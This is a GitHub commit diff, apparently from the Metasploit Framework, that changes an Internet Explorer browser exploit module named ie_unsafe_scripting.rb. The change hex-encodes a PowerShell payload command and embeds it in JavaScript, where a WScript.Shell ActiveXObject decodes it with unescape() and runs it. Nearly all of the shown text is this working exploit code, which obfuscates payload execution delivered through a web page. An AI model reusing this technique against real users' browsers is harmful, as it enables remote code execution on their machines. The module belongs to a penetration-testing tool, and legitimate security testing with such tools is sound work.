Skip to content

Commit a12f509

Browse files
committed
Encode the powershell cmd
1 parent aa05632 commit a12f509

File tree

1 file changed

+2
-5
lines changed

1 file changed

+2
-5
lines changed

modules/exploits/windows/browser/ie_unsafe_scripting.rb

Lines changed: 2 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -122,14 +122,11 @@ def vbs_technique(var_shellobj, p)
122122
end
123123

124124
def psh_technique(var_shellobj, p)
125-
cmd = cmd_psh_payload(p.encoded)
126-
cmd.gsub!('"','')
127-
cmd.gsub!('\\powershell.exe\\',"'powershell.exe'")
128-
cmd.strip! # Remove trailing new line
125+
cmd = Rex::Text.to_hex(cmd_psh_payload(p.encoded))
129126
js_content = %Q|
130127
//<html><head></head><body><script>
131128
var #{var_shellobj} = new ActiveXObject("WScript.Shell");
132-
#{var_shellobj}.run("#{cmd}", 1, true);
129+
#{var_shellobj}.run(unescape("#{cmd}"), 1, true);
133130
//</script></html>
134131
|
135132

0 commit comments

Comments
 (0)